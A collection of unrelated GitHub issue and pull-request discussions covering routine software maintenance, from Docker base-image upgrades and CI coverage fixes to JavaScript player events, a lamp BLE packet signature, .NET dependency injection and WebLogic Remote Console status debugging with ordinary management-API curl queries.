Upgrade docker images from 20.04 to 22.04

Title mostly says it all.  Main trigger was that client docker image had too old a cmake  ("thanks" to a 1/16 change) to build contracts in pdo-contracts.  That said, 20.04 of course is also a bit dated and EOL if in a year.
Tested by running the usual make test here and by mounting pdo-contracts into a client container and then run make test in it (which admittedly initially failed in the inference tests but that was due to the guardian requiring an apt install libgl1 libcudart11.0 to work properly!   After running that make test also worked for pdo-contracts => Q: should we add these dependencies also to pdo_client.dockerfile?)

have you tested with host install mode as well?

have you tested with host install mode as well?

Nope, i just wanted to make docker images work with pdo-contract which now (implicitly) requires 22.04. Hence i've also not updated any docu that 22.04 is now the default (which i think Prakash has something against :-)

re we dropping docker support for 20.04? If this PR is about adding support for 22.04 in addition to 20.04, I am in favor. I am not in favor of dropping docker support for 20.04, given that PDO itself is supported for 20.04 ONLY as of now.

You still will be able to build docker with ubuntu 20.04, it just wouldn't be the default anymore. You just have to specify UBUNTU_VERSION and UBUNTU_NAME docker build variables, e.g., via adding to make.loc a line with export DOCKER_BUILDARGS=--build-arg UBUNTU_VERSION=20.04 --build-arg UBUNTU_NAME=focal


ready and playback:ready events do not fire

Tested in Chrome and Safari
Reproduced on http://cdn.clappr.io (I never see the console log statements)
var playerElement = document.getElementById("player-wrapper");

var player = new Clappr.Player({
  source: 'http://clappr.io/highline.mp4',
  baseUrl: '/latest',
  poster: 'http://clappr.io/poster.png',
  mute: true,
  height: 360,
  width: 640
});

player.attachTo(playerElement);

player.on('ready', function() {
  console.log('1 - ready fired')
});
player.on('playback:ready', function() {
  console.log('2 - playback:ready fired')
});
player.core.getCurrentPlayback().on('playback:ready', function() {
  console.log('3 - playback:ready fired')
});

player.play();

Hey @bikegriffith this is expected. Some playbacks may be ready immediately before you get chance to add the listeners.
Therefore there is the isReady property on the player so you can check this prior to registering a ready event.
Alternatively you can provide functions in the player options to be called when events happen.
E.g
var player = new Clappr.Player(options);
if (!player.isReady) {
  player.on('ready', onReady);
}
else {
  // already ready
  onReady();
}
function onReady() {
  // do something
}

or
var player = new Clappr.Player({
  events: {
    onReady: onReady
  }
});

function onReady() {
  // do something
}

The second method only supports player events, so you will need to use the first method if you need to know when the playback is ready. All playbacks have a isReady property as well.

Thank you! I hadn't gone that far down the rabbit hole yet.
Before I build a bunch on top of this, any ideas how likely the events system is to stay as-is for some time?  There seem to be a few quirks (top-level events on player vs subscribing on the playback directly, using options events.onReady vs ready ...  If it's on someone's radar to change, I'd like to know.  Otherwise, I might submit a pull request with some documentation after I more fully grok it.

I think the events that already exist should be pretty final, but occasionally new ones are added. I'd say listening to the top level events on the player itself should be pretty safe, and I think 99% of the time you shouldn't need to listen to any of the other events. The events property is just another way of being notified of the top level events. Any provided callbacks for those are subscribed to internally before anything happens, so you are guaranteed not to miss any initial ones, which may not be the case when subscribing after the player has been created.
The issue with having to check isReady in places is a bit messy, and has come up in several places throughout the code now. I have an idea which might be able to tidy that up a bit by replacing it with a promise instead, but haven't had time to think it through properly or create an issue regarding that yet.
@clappr/core are events on playbacks and other internal components considered as private, and only meant to be used by internal code? I think it might be good to create an issue to go through marking methods and properties as private and public.

are events on playbacks and other internal components considered as private, and only meant to be used by internal code?

I do't think they're private, see if you're building plugins (container, core and playback) you need to know them.

I think it might be good to create an issue to go through marking methods and properties as private and public.

I think if a given event/property/function is private we should mark it private @private :)

Shutting this down.  Thanks for all the help!


Add v3 signature to a packet

V3 protocol require packet signatures before CRC and "whitening".
Current LampSmart Pro does not support sending commands without this signature, so, I suppose it is harmless.

Watching this and testing on my light. Not currently working but very excited that you're trying to sort. Thanks 🤞🏻

LampSmartPro 1.2.9 sends only v3 messages (i.e. with the signature). This makes me feel that the change is backward compatible. I have no ways to test, because I do not own any of these lamps. I have checked only that:

the signature generated by the code is passing the same check as LampSmartPro's signature.
my friend's lamp is working with this code.

Ok. Unfortunately, base code have no provisions for pluggable algorithms.
AES code is from https://github.com/kokke/tiny-AES-c, where it is published as "public domain". Now I have replaced it with mbedtls, which comes in arduino-espressif32. Have no idea how stable this dependency is.

Feel free to use my code as you wish, integrate it some way or drop it. I personally have no special interest in it. Sorry.
@oxcid3
So, if this does not work for you (and you are sure doing thing right), your lamp needs older algo. Tried lampify yet?

@flicker581 - thanks for the changes! I'll test it as soon as I get the chance (to verify that it's backward-compatible), and get back to you.

Thanks for the changes. I didn't get a chance to test them out (as I switched to a different LED driver that works with a different app). I'm merging this - hopefully it works for everyone. In any case, for now, the version without the signature remains available in the refactored code - and in the future, I'll add support to make the signing optional.


Split cloud init metadata and some other fixes

Now also finishing #154

A major rewrite is coming up to take out all that bash from inside the templates and move to actual shell scripts in the repository

New ci integration is looking good. One more try.


BZ1211273 - Missing dependency ibm.jdk in module org.jboss.security.negotiation

Linux with security manager Build 1326 is now running using a merge of 91c8e4322300e7bc639790fe2389761c02044dff

Windows Build 1478 is now running using a merge of 91c8e4322300e7bc639790fe2389761c02044dff

Linux Build 6399 is now running using a merge of 91c8e4322300e7bc639790fe2389761c02044dff

Note that I've made this PR to trigger the CI Builds and see if the change has any side effect. If you suspect this change may cause issue while not triggering a fail in the test suite, please let me know !

Linux with security manager Build 1326 outcome was SUCCESS using a merge of 91c8e4322300e7bc639790fe2389761c02044dff
Summary: Tests passed: 825, ignored: 317 Build time: 0:05:08

Windows Build 1478 outcome was SUCCESS using a merge of 91c8e4322300e7bc639790fe2389761c02044dff
Summary: Tests passed: 2867, ignored: 373 Build time: 0:48:14

Linux Build 6399 outcome was SUCCESS using a merge of 91c8e4322300e7bc639790fe2389761c02044dff
Summary: Tests passed: 2867, ignored: 373 Build time: 0:48:42

@darranl please approve. Thanks!

Approved


make get failed with low go version (go1.15.5)

When building elvish with make get, got this error:
make get
mkdir -p /home/dev/go/bin
go build -o /home/dev/go/bin/elvish ./cmd/elvish
pkg/edit/editor.go:9:2: package embed is not in GOROOT (/usr/lib/golang/src/embed)
make: *** [get] Error 1

After check, it is the go version too low (go1.15.5) lead this.

Well, the Go version requirement is just above the build instruction.
Go 1.15.5 is very old, very few Go programs retain compatibility with it.

d7c5e35d39304f302371b12827cc5e22001f99e9 updated the README so that it no longer directs the user to use make get at all.

OK, just encounter the README updating...
But now, with the latest master code, try go install ./cmd/elvish, just got error:
pkg/edit/editor.go:9:2: package embed is not in GOROOT (/usr/lib/golang/src/embed)

So maybe it is better to add go version hints. What do you think?

Well, go install is the standard for Go programs these days, and I don't control how it behaves. It's also unlikely for Go developers to add this type of version check to old versions of Go.


MPI again does not work for SLURM

The MWE is on my cluster under ~/tmp/test, and also here:
test_mpi.tar.gz
To reproduce on cluster:
$ sos run test_run.sos -c test.remote_config.yml

INFO: M5_8a92d80e7e9ad9cc submitted to midway2 with job id 63994483
INFO: M5_97292d7ca56392cd submitted to midway2 with job id 63994484

INFO: Waiting for the completion of 2 tasks.
INFO: Waiting for the completion of 2 tasks.
INFO: Waiting for the completion of 2 tasks.
INFO: Waiting for the completion of 2 tasks.
WARNING: Task M5_8a92d80e7e9ad9cc inactive for more than 79 seconds, might have been killed.
WARNING: Task M5_97292d7ca56392cd inactive for more than 79 seconds, might have been killed.
ERROR: [d46bfe9c-2fb0-49a2-ac2b-3d6383af25e5]: [t]: [t]: Failed to get results for tasks 8a92d80e7e9ad9cc, 69e710ba8201e568, 8abf95d3ff9b6d74, 8f265e81d1291206, 1b8ff498fb82e065
[fc7915cd-32ef-4230-a9f9-3e3f8d2498b1]: [normal]: [normal]: Failed to get results for tasks 97292d7ca56392cd, 7a72d7510a6a2104, 9adeb8cbdc002809, 49d850e1f94aaf9f, eb8acfabd9f007c0
[default]: 13 pending steps: default, h_sq_err, g_abs_err, f_sq_err, e_abs_err, d_sq_err, c_abs_err, b_sq_err, a_abs_err, g_median, e_mean, c_median, a_mean

As you can see, all jobs now fail. However if I change all trunk_workers from [4] * 10 to just 4, that is, not using MPI, then everything works and the workflow completes very quickly.

The job ends with TIME LIMIT, so appears to be a communication problem between nodes.
WARNING: INFO: M5_97292d7ca56392cd started
INFO: 4 workers started on <IP_ADDRESS>
slurmstepd-midway2-0469: error: *** JOB 64176758 ON midway2-0469 CANCELLED AT 2019-12-06T22:03:50 DUE TO TIME LIMIT ***

But it does not explain why using trunk_works = 4 it works. Also the job should end instantly -- it should take a second to complete the workflow steps.

Initial guess is that the remote worker did not start, but in that case all jobs should be sent to local workers... Still checking.

It is an unfortunate bug that I introduced when I tested remote workers.... Too bad we do not have tests for true PBS systems.


feat: Skeleton UI framework, creating functional pages

Description of changes

Pulled in SkeletonUI
Rebuilt login/registration (getting-started) pages and app bar with Skeleton
Created an MVP for home page
Created error handler page
Started working on expense creation page... 🚧

I wanted to view your work so I started up everything in docker and I saw this when I wanted to login.

Locally it works fine, I will be opening an issue to resolve this.
The design looks so cool! 🤩

I wanted to view your work so I started up everything in docker and I saw this when I wanted to login.  Locally it works fine, I will be opening an issue to resolve this.
The design looks so cool! 🤩

I am sad to see this error, but I will pick up that issue next. I'm glad you like this look 😎


Clarify computed properties reactive dependencies

It is not obvious that computed properties dependencies must be reactive in order to trigger
their referring computed properties.
It is indirectly mentioned a few lines bellow (using the date example),
that's why I classify this commit as "clarification" rather than "addition".

Thanks!


implimanting mine-sweeper

Make a mine-sweeper game which will contain the following features:

load screen
game-over screen
level increase if you win
right-click to flag
much more...

I would like to work on this issue


Fixing various security issues and updating null_types to handle over…

Adding gosec and lint scanning to project

@go-jet do you have any insights on this? I'm not very familiar with circleCI, but it seems like all the tests are passing, the tests tab is all clear, the report has no failures I can find.  Though it seems something is still breaking.

@go-jet do you have any insights on this? I'm not very familiar with circleCI, but it seems like all the tests are passing, the tests tab is all clear, the report has no failures I can find. Though it seems something is still breaking.

Hmm, it is weird. Indeed, all tests pass. A wield guess would be that after all the tests have finished, TestMain' panics at some point. But only profile delay.Start().Stop()` is executed afterwards.
Maybe add some log lines and panic catcher in TestMain.
If that fails, then I guess start removing the changes one by one until we find out exactly which change is breaking the tests.

@go-jet do you have any insights on this? I'm not very familiar with circleCI, but it seems like all the tests are passing, the tests tab is all clear, the report has no failures I can find. Though it seems something is still breaking.

Hmm, it is weird. Indeed, all tests pass. A wield guess would be that after all the tests have finished, TestMain' panics at some point. But only profile delay.Start().Stop()` is executed afterwards.
Maybe add some log lines and panic catcher in TestMain. If that fails, then I guess start removing the changes one by one until we find out exactly which change is breaking the tests.

The issue is with go-junit-report.  I replaced with a very similar tool that I think is a bit easier to use.  It also, actually gives you a break down as the tests are running without having to navigate to the tests tab.
Let me know if you have any objections to using this instead, otherwise I'll try to figure out how to make it go-junit-report work.
Also, how would you feel about moving the circle CI tests into a github action ?

@go-jet do you have any insights on this? I'm not very familiar with circleCI, but it seems like all the tests are passing, the tests tab is all clear, the report has no failures I can find. Though it seems something is still breaking.

Hmm, it is weird. Indeed, all tests pass. A wield guess would be that after all the tests have finished, TestMain' panics at some point. But only profile delay.Start().Stop()is executed afterwards. Maybe add some log lines and panic catcher inTestMain`. If that fails, then I guess start removing the changes one by one until we find out exactly which change is breaking the tests.

The issue is with go-junit-report. I replaced with a very similar tool that I think is a bit easier to use. It also, actually gives you a break down as the tests are running without having to navigate to the tests tab.
Let me know if you have any objections to using this instead, otherwise I'll try to figure out how to make it go-junit-report work.
Also, how would you feel about moving the circle CI tests into a github action ?

What was the issue with go-junit-report?
I'm fine with gotestsum, but I don't see codecoverage on codecov now

I'm fine with gotestsum, but I don't see codecoverage on codecov now.
I'm fine with github actions as well, if they provide the same as circle.ci.

Okay, let me see if I can get the junit report to work, or fix gotestsum.  They should be compatible... let me see what I can do with that.
Not 100% sure of the issue, but it required an update to V2 and it still didn't work for me.  I can't replicate it locally so need to use the CICD to test the behavior.

I'm fine with github actions as well, if they provide the same as circle.ci.

Okay, I'll do another MR without any other changes being added for that later on if I can manage something that's comparable.

Okay, done.  Fixed the code coverage issue.

Okay, done. Fixed the code coverage issue. I created a token for my own project and verified the upload. https://app.codecov.io/gh/safaci2000/jet/tree/feature%2Fscanners

Something ain't right. Code coverage should be above 90%. Also the last two steps store_artifacts and store_test_results did not upload anything.

Okay, done. Fixed the code coverage issue. I created a token for my own project and verified the upload. https://app.codecov.io/gh/safaci2000/jet/tree/feature%2Fscanners

Something ain't right. Code coverage should be above 90%. Also the last two steps store_artifacts and store_test_results did not upload anything.

Noted, I'll look at it when i have a chance.

I had to bump the go version used for testing a bit further than go.mod due to a change in behavior. https://github.com/golang/go/issues/65653.
Code coverage should be resolved

I had to bump the go version used for testing a bit further than go.mod due to a change in behavior. golang/go#65653.

Interesting, now it makes sense.

Thanks. Looks good. :+1:


[Editor] CLI commands

It would be nice to have a series of options and arguments when calling Prowl.
Features:

[x] Open project: prowl --project PATH
[x] Create project: prowl new --project PATH
[ ] Build project: prowl build --project PATH --output PATH
[ ] Version: prowl version

references:

https://docs.unity3d.com/Manual/CommandLineArguments.html
https://docs.flaxengine.com/manual/editor/advanced/command-line-access.html

in #152 , ive used the term create instead new.
NOTE: consider adding a local README.md inside Prowl.Editor/Editor/CLI explaining all the command line commands for reference.

prowl version (prowl.exe version) implemented automatically by CommandLineParser


⚠ Bofrost.fr has degraded performance

In 0481830, Bofrost.fr (https://www.bofrost.fr) experienced degraded performance:

HTTP code: 200
Response time: 1877 ms

Resolved: Bofrost.fr performance has improved in a07d0c2.


[953] update provider.changed_at when site changes

Context
We need to track this for the incremental API to retain as much data as possible.
Changes proposed in this pull request
provider.changed_at is updated when site is updated, while provider.updated_at is unaffected.
We also change the implementation of the incremental load by from_provider_id from the Next link, and using sub-second values for changed_since manages to achieve the desired goal of ordering the set of changed providers with a resolution higher then seconds. This is supported by the changed_at column without any modifications, we just need to format the timestamp with the strftime format %FT%T.%6N instead of using iso8601.
The courses controller will have to be updated to also use sub-second values for changed_since

 Update changed_at when updating provider or related entities.

@defong Are you happy for me to merge this now? I think I've addressed all your comments.


fix: #538

Updates to Makefile to allow container building
on ppc64le architecture

@krishvoor : can you please move this changes to https://github.com/argoproj/argo-cd

Hi @rishabh625
Here you go - https://github.com/argoproj/argo-cd/pull/8991
Can you take a peek?

Closing this, as this is addressed/


macOS ESR Prompt not appearing on-top of other windows

Potential hints as to what's happening, as reported via telegram:

Users with single displays may be the ones experiencing this.
Potentially brave/chrome on macOS
Potentially 1.0.0 related and fixed in a later version.

Needs investigating.

This is likely due to macOS "Screens" (like full screen apps) and the prompt not appearing on the currently active screen. We need to implement some code to make the prompt appear in whatever screen is currently active.

Kicking to 1.0.6 - I'm not sure we can place content on top of other full screen apps without them being a different type of window (not just a basic window).


python312Packages.google-cloud-container: 2.52.0 -> 2.53.0

Changelog: https://github.com/googleapis/google-cloud-python/blob/google-cloud-container-v2.53.0/packages/google-cloud-container/CHANGELOG.md

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

nixpkgs-review result
Generated using nixpkgs-review.
Command: nixpkgs-review pr 351366

x86_64-linux

:white_check_mark: 6 packages built:

gcp-scanner
gcp-scanner.dist
python311Packages.google-cloud-container
python311Packages.google-cloud-container.dist
python312Packages.google-cloud-container
python312Packages.google-cloud-container.dist


Issue regarding DinoVisionTransformer

Hi,
I am trying to run the training code
"python dinov2/run/train/train.py
--nodes 4
--config-file dinov2/configs/train/vitl16_short.yaml
--output-dir <PATH/TO/OUTPUT/DIR>
train.dataset_path=ImageNet:split=TRAIN:root=<PATH/TO/DATASET>:extra=<PATH/TO/DATASET>"
but face to this error:
AttributeError: "DinoVisionTransformer' has no attribute '_streams'.
Could you please advise me regarding it?
Thanks!

I have the same issue, is there a solution for this?

Same problem here, any solution?

I was getting the same error. Here is what fixed it for me:
Environment: Ubuntu (WSL)
First, I was using python 3.11, I cleared conda and started fresh with 3.10
If you have cuda 117 then you can likely skip the next steps and jump to the install:
Next, I modified requirements file to use my correct cuda version. (cu117 -> cu121)
This creates a dependency error for torchvision 0.15 since it relies on torch+cu117. So i removed the version dependency for torchvision.
This is what my requirements looked like.
--extra-index-url https://download.pytorch.org/whl/cu121
torch==2.0.0
torchvision
omegaconf
torchmetrics==0.10.3
fvcore
iopath
xformers==0.0.18
submitit
--extra-index-url https://pypi.nvidia.com
cuml-cu11

Then installed the requirements with pip install -r requirements.txt and everything worked as it should.

I had the same issue and solved it using this commit to a fork of dinov2


Question - How to create a jwt token on downstream and request third party server

I am trying to configure the Ocelot to make Authentication and Authorization for us.
The plan is to make Ocelot redirect non authenticated requests to a SSO server (SAML)
and once this is done request access permissions of the user from Access Management (AC) server (separate in our case).
The Ocelot should maintain upstream session/jwt (probably dumb one )
and replace this with his own jwt including user info & access claims.
But I can't find a simple way to access AC ,no way to add another jwt for downstream only.
The only way I found was to use DelegatingHandler, the problem with it is that it have no access to DI I could found and thus non configurable, making it's usage unacceptable.
Any ideas please?

Possibly answering my own question,
Should I override the OcelotPipelineConfiguration with my own middleware for this?

@tsirkin the delegating handlers use standard .net core di. Any services you register will be injected when the handler is resolved.
You can also override or do whatever you want with the pipeline!

Thank you for quick answer.
Unfortunately, after straggling with it for hours I couldn't find a way to DI DelegatingHandler.
Sure, there are examples for doing this, but nothing I could get working under .Net Core 2.
Seems like it was working in .Net 4.5 (maybe Core 1) but not Core 2. Any pointers (or code !) would be highly appreciated.
Thought I understand this is not a .Net forum, sorry.
What middleware do you suggest me to overwrite in OcelotPipelineConfiguration?

@tsirkin it should work fine, you need to register your dependencies using services.AddXXX<X,X>(); or equivalent. Then in your DelegatingHandler inject the dependencies.
Look at HttpDelegatingHandlersTests.cs in the Ocelot.AcceptanceTests project for examples of how this works.
Don't worry we will get to bottom of why it is not working 😄

Tried it already,obviously and it did not work.
Handler is injected fine but if I try to inject (anything, even IServiceCollection) it fails.
I will try later to provide the code

@tsirkin can you provide the code and configuration you were using? E.g your program.cs, startup.cs, the delegating handler code and json config? I will take a look. Yep

Thank you, here is the gist (no Startup.cs - I used Program.cs for the configuration)
https://gist.github.com/tsirkin/131871d18bd5b297ffc73fd29af1577b

@tsirkin I finally had a chance to look at this. The main problem is your constructor is not public for asp.net core DI cannot use it.
If you change your class to the following it will resolve the JwtDownstreamHandler(IServiceProvider serviceProvider) constructor.
Even if you make the JwtDownstreamHandler(HttpMessageHandler innerHandler, IServiceProvider serviceProvider) : base(innerHandler) constructor public asp.net core wont be able to resolve it because there is no default HttpMessageHandler in the container. Ocelot handles this bit anyway and you cannot override it at the moment.
public class JwtDownstreamHandler : DelegatingHandler
    {
        private readonly IServiceProvider _serviceProvider;

        public JwtDownstreamHandler(IServiceProvider serviceProvider)
        {
            _serviceProvider = serviceProvider;
        }

        protected JwtDownstreamHandler(HttpMessageHandler innerHandler, IServiceProvider serviceProvider) : base(innerHandler)
        {
        }

        protected override async Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
        {
            return await base.SendAsync(request, cancellationToken);
        }
    }

Hope that helps! Let me know if you have anymore problems.

(I am sure I it was public and just restoring this code in order to post it here I created it as protected.
No way I was such an idiot.)
Anyway, I will try it and let you know if it works.
Thanks!

OK, that was it.
Sorry for my stupidity.

@tsirkin no worries!


using the "infinite" keyword in a /effect command on feline origin does not work

read the title. using /effect give @p minecraft:strength infinite and using the feline origin does not negate the weak arms effect.

This was something fixed in a later version of Origins Fabric, im unsure if i can specifically change the value here due to disparity with 1.20.1

I'll probably fix this because it shouldn't break anything, thanks for the report.


server status message

Even though my managed server ERMDEV01_ManagedServer1 is running verified in Weblogic console and Enterprise Manager console, it shows status of not running under the Weblogic Remote console ->Monitoring -> servers window

Yet if you click on the managed server Weblogic Remote console ->Monitoring ->ERMDEV01_ManagedServer1, the status shows running
BTW for entirely different server i have in my kiosk panel the functionality works as expected

Hmmm.  What version are you running of (A) the Remote Console and (B) WebLogic?

Can you try some curl commands to get more info from WLS?
curl -v -k --user : http://:/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes
curl -v -k --user : http://:/management/weblogic/latest/domainRuntime/serverRuntimes

Also, how are you starting the manged servers? e.g. are you using the node manager?

Also, what happens if you go to the admin console (not the remote console), and navigate to Servers then click the Control tab?
And then click ERMDEV01_ManagedServer1 in the table then click the Monitoring tab? And click the Control tab?
Also, do you have access to WLST?

Also, what happens if you go to the admin console (not the remote console), and navigate to Servers then click the Control tab?
And then click ERMDEV01_ManagedServer1 in the table then click the Monitoring tab? And click the Control tab?
Also, do you have access to WLST?

All of this works correctly. Also yes I have access to WLST.

Can you try some curl commands to get more info from WLS?
curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes
curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:wlsadminserverport/management/weblogic/latest/domainRuntime/serverRuntimes
curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:/management/weblogic/latest/serverRuntime
curl -v -k --user {username}:{password} http://{ERMDEV01_ManagedServer1 host}:{ERMDEV01_ManagedServer1 port}:/management/weblogic/latest/serverRuntime
curl -v -k --user {username}:{password} http://{ERMDEV01_ManagedServer2 host}:{ERMDEV01_ManagedServer2 port}:/management/weblogic/latest/serverRuntime

< HTTP/1.1 200 OK
< Date: Mon, 12 Jun 2023 17:10:52 GMT
< Content-Length: 4358
< Content-Type: application/json
< Vary: Accept-Encoding
< X-ORACLE-DMS-RID: 0
< X-ORACLE-DMS-ECID: b1f151a4-e4af-4e19-9bea-13de84a96760-00001b00
< X-Content-Type-Options: nosniff
<
{
"links": [
{
"rel": "parent",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime"
},
{
"rel": "self",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes"
},
{
"rel": "canonical",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes"
}
],
"items": [
{
"links": [
{
"rel": "self",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_ManagedServer1"
},
{
"rel": "canonical",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_ManagedServer1"
}
],
"identity": [
"serverLifeCycleRuntimes",
"ERMDEV01_ManagedServer1"
],
"nodeManagerRestartCount": 0,
"middlewareHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01",
"name": "ERMDEV01_ManagedServer1",
"weblogicHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01/wlserver",
"state": "RUNNING",
"type": "ServerLifeCycleRuntime"
},
{
"links": [
{
"rel": "self",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_ManagedServer2"
},
{
"rel": "canonical",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_ManagedServer2"
}
],
"identity": [
"serverLifeCycleRuntimes",
"ERMDEV01_ManagedServer2"
],
"nodeManagerRestartCount": 0,
"middlewareHome": null,
"name": "ERMDEV01_ManagedServer2",
"weblogicHome": null,
"state": "SHUTDOWN",
"type": "ServerLifeCycleRuntime"
},
{
"links": [
{
"rel": "self",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV02_AdminServer(admin)"
},
{
"rel": "canonical",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV02_AdminServer(admin)"
}
],
"identity": [
"serverLifeCycleRuntimes",
"ERMDEV02_AdminServer(admin)"
],
"nodeManagerRestartCount": 1,
"middlewareHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01",
"name": "ERMDEV02_AdminServer(admin)",
"weblogicHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01/wlserver",
"state": "RUNNING",
"type": "ServerLifeCycleRuntime"
},
{
"links": [
{
"rel": "self",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_AdminServer"
},
{
"rel": "canonical",
"href": "http://<IP_ADDRESS>:8002/management/weblogic/latest/domainRuntime/serverLifeCycleRuntimes/ERMDEV01_AdminServer"
}
],
"identity": [
"serverLifeCycleRuntimes",
"ERMDEV01_AdminServer"
],
"nodeManagerRestartCount": 0,
"middlewareHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01",
"name": "ERMDEV01_AdminServer",
"weblogicHome": "/u01/app/oracle/Middleware/WL_12214_ermdev01/wlserver",
"state": "RUNNING",
"type": "ServerLifeCycleRuntime"
}
]

Also, how are you starting the manged servers? e.g. are you using the node manager?

Well its not possible to restart them from the remote control console...So they are started through scripting via node manager by executing ./startNodeManger.sh and ./startWeblogic.sh

Thanks for the data.  At this point, the curl command indicates that the servers are properly running, so we don't
need to use WLST yet (WLST is just an alternative way to view the underlying server runtime mbeans).
I've been trying to reproduce the problem and have not been able to.
I'm wondering if this is a transient problem while the server is starting up.
Now that everything has stabilized and should be running, what happens if you
navigate to the Servers table again and then to ManagedServer1?  Do the pages
look OK now or are you still seeing the same problem?

Also, if you've configured the node manager, you should be able to start the managed servers from the remote console via the 'Start' button on the Servers table under monitoring (it worked for me).  Give it a try?
Also, does the 'Start' button in the admin console work for your servers?

Can you try this curl command?
curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:wlsadminserverport/management/weblogic/latest/domainRuntime/serverRuntimes
Thanks!

Also, does your domain's security realm have a DefaultIdentityAsserter configured?
(go to the edit tree then Security -> Realms -> <your realm, e.g. myrealm> -> Authentication Providers)

And would you be available for zoom debugging session?

curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:wlsadminserverport/management/weblogic/latest/domainRuntime/serverRuntimes

If the Weblogic console for a domain is shutdown it doesnt appear there is anyway through the remote control panel ->  kiosk panel to connect to much less start/restart any managed server.
You receive message

Also, does your domain's security realm have a DefaultIdentityAsserter configured? (go to the edit tree then Security -> Realms -> <your realm, e.g. myrealm> -> Authentication Providers)

Yes the out of the box DefaultIdentityAsserter is has been created during domain creation

wlsadminserverport

So it appears when there is more than one Domain and/or Weblogic console defined in the KIOSK panel like in  my case is where it causes this  issue.

However, when I click on the managed server that is supposedly not running, I see this

Also no it isnt a mistake that I have two ADMIN servers running under one Weblogic console. From a management/monitoring point of view(s) this is the next best thing to do outside of having a clustered environment which in our case we are running non-clustered. Eventually I will have one DOMAIN ERMDEV that will contain ERMDEV01 and ERMDEV02 both the Admin console and then one of more of the respective managed servers under each ERMDEV01 and ERMDEV02 Admin consoles

Which ports numbers are ERMDEV01_AdminServer and ERMDEV02_AdminServer running on, and which one did you pick when you created the Admin Server Provider Connection in the remote console?
Also, can you attach your config.xml?

Which ports numbers are ERMDEV01_AdminServer and ERMDEV02_AdminServer running on, and which one did you pick when you created the Admin Server Provider Connection in the remote console?
Also, can you attach your config.xml?

AdminServerdev01 8002, 8502,

I'm a little unclear about your configuration.
Can you attach your domains' config.xmls and screen shots of:

the kiosk (that lists all your providers)
go to each provider in the kiosk and click its settings gear

Also, would you be available for a zoom debugging session?
Thanks!

I'm not able to debug what's going on from just the screen shots.  I need lower level data.
Can you attach your domains' config.xmls and the curl output from:
curl -v -k --user {username}:{password} http://{ERMDEV01_AdminServer host}:{ERMDEV01_AdminServer port}:wlsadminserverport/management/weblogic/latest/domainRuntime/serverRuntimes
and
curl -v -k --user {username}:{password} http://{ERMSIT02_AdminServer host}:{ERMSIT02_AdminServer port}:wlsadminserverport/management/weblogic/latest/domainRuntime/serverRuntimes

Also, can we do a zoom debugging session?  I probably need to run a number of curl commands to get to the bottom of the issue.  I'm a developer on Oracle's remote console team.

Thanks for the curl output.
Could you get me the curl output for .../domainRuntime/serverRuntimes ?
(v.s. you gave me the output for .../domainRuntimes/serverLifeCycleRuntimes)
(I need to see this to help figure out why the admin server isn't able to see the running managed servers)

Hello @mgriffininprs it would be easier to help you if you could register to our public weblogic workspace.  Use the following link https://join.slack.com/t/oracle-weblogic/shared_invite/zt-1ni1gtjv6-PGC6CQ4uIte3KBdm_67~aQ to register your self and once in, please go to #remote-console and lets continue the thread there.

Hello @mgriffininprs it would be easier to help you if you could register to our public weblogic workspace. Use the following link https://join.slack.com/t/oracle-weblogic/shared_invite/zt-1ni1gtjv6-PGC6CQ4uIte3KBdm_67~aQ to register your self and once in, please go to #remote-console and lets continue the thread there.

I mean no offense nor is it my intent to be uncooperative when I say this but Im going to respectfully to decline to register for yet another messaging type of application regardless of how technically beneficial it could be or provide


Should zones have no tags

Right now in ZoneShapes, as in O1 we render a div tag a zone zone-name classes for a layout zone.
I think we should render zone bare, and let the layout define how it is done. It's not harder anyway to define the tagging in the layout. but it much harder to remove the tag afterwards.
